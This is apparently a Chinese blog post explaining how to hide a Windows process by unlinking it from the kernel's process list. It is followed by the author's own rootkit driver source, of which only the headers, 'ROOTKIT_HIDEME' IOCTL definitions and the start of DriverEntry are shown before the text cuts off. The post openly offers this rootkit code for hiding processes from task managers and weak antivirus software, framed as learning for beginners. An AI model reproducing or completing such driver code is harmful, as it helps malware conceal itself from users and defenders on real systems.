实在不好意思拿出手,都是人家玩烂的技术了。。。可我还是要学习。。。也给小白们科普了
原理:
windows系统内核内部采用链表的方式将进程链起来。如果我们从链表中摘掉想要隐藏的进程,那么一般的采用这种方式遍历进程的工具也就没有用处了。。也就达到我们的目的了。。悲哀的任务管理器。。。具体的就不记录了。。。(但是这种方法对现在的杀毒基本不起什么作用。。除了一些弱智杀毒软件。。。)
对内核数据结构的操作需要工作在Cpu的Ring0层,一般的应用程序也就没什么用武之地了 。。只有采用驱动的方式进行。。。nb的驱动。。邪恶的驱动。。。
下面自己的写的驱动代码。。不是很稳定。。。windows xp sp3下能正常运行,其他的系统没有测试。。估计要蓝屏 因为里面有HardCode。。 蓝屏不要拍我啊 。。。
![ContractedBlock.gif](https://www.cnblogs.com/Images/OutliningIndicators/ContractedBlock.gif)
![ExpandedBlockStart.gif](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedBlockStart.gif)
1
2 #include "ntddk.h"
3 #include "stdio.h"
4 #include "stdlib.h"
5 typedef BOOLEAN BOOL;
6 typedef unsigned long DWORD;
7 typedef DWORD * PDWORD;
8
9 #define FILE_DEVICE_ROOTKIT 0x00002a7b
10
11 #define IOCTL_ROOTKIT_INIT (ULONG) CTL_CODE(FILE_DEVICE_ROOTKIT, 0x01, METHOD_BUFFERED, FILE_WRITE_ACCESS)
12 #define IOCTL_ROOTKIT_HIDEME (ULONG) CTL_CODE(FILE_DEVICE_ROOTKIT, 0x02, METHOD_BUFFERED, FILE_WRITE_ACCESS)
13 int FLINKOFFSET;
14 int PIDOFFSET;
15 PDEVICE_OBJECT g_RootkitDevice;
16 const WCHAR deviceLinkBuffer[] = L"\\DosDevices\\Fr";
17 const WCHAR deviceNameBuffer[] = L"\\Device\\Fr";
18
19 #define DebugPrint DbgPrint
20
21
22 NTSTATUS RootkitDispatch(IN PDEVICE_OBJECT, IN PIRP);
23
24 NTSTATUS RootkitHide(IN PDEVICE_OBJECT, IN PIRP);
25
26 NTSTATUS RootkitUnload(IN PDRIVER_OBJECT);
27
28 long FindEproc( long pID );
29
30
31 NTSTATUS DriverEntry(
32 IN PDRIVER_OBJECT DriverObject,
33 IN PUNICODE_STRING RegistryPath
34 )
35 {
36
37 NTSTATUS ntStatus;
38 UNICODE_STRING deviceNameUnicodeString;
39 UNICODE_STRING deviceLinkUnicodeString;
40 RtlInitUnicodeString (&deviceNameUnicodeString,
41 deviceNameBuffer );
42 RtlInitUnicodeString (&deviceLinkUnicodeString,
43 deviceLinkBuffer );
44
45 ntStatus = IoCreateDevice ( DriverObject,
46 0, // For driver extension
47 &deviceNameUnicodeString,
48 FILE_DEVICE_ROOTKIT,
49 0,
50 TRUE,
51 &g_RootkitDevice );
52
53